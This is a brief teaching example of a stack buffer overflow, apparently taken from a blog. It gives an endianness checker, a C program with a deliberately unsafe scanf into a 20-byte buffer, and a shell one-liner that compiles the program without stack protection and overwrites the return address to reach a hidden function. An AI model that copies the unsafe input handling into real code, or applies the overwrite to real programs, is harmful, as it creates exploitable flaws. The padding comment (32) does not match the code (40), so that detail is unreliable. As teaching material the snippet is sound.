buffer overflow exploit

endian.c

#include <stdio.h>
int main() {
    int a = 0x12345678;
    unsigned char *c = (unsigned char*)(&a);
    if (*c == 0x78) {
       printf("little-endian\n");
    } else {
       printf("big-endian\n");
    }
    return 0;
}

exploit.c

#include <stdio.h>

void secret_function()
{
  printf("Congratulations!\n");
  printf("You have entered in the secret function!\n");
}

void echo()
{
  char buffer[20];

  printf("Enter some text:\n");
  scanf("%s", buffer);
  printf("You entered: %s\n", buffer);
}

int main(void)
{
  echo();

  return 0;
}

vuln.sh

gcc exploit.c -o vuln -fno-stack-protector
python -c 'print "a"*40 + "\xd6\x05\x40\x00\x00\x00\x00"' | ./vuln
# note "a" here can be any character. all it does is add padding of 32 length

This is from https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/. Above snippets are for a 64 bit example.

Use endian.c to determine whether your computer is little or big endian. If it is different than change the order of the bytes in vuln.sh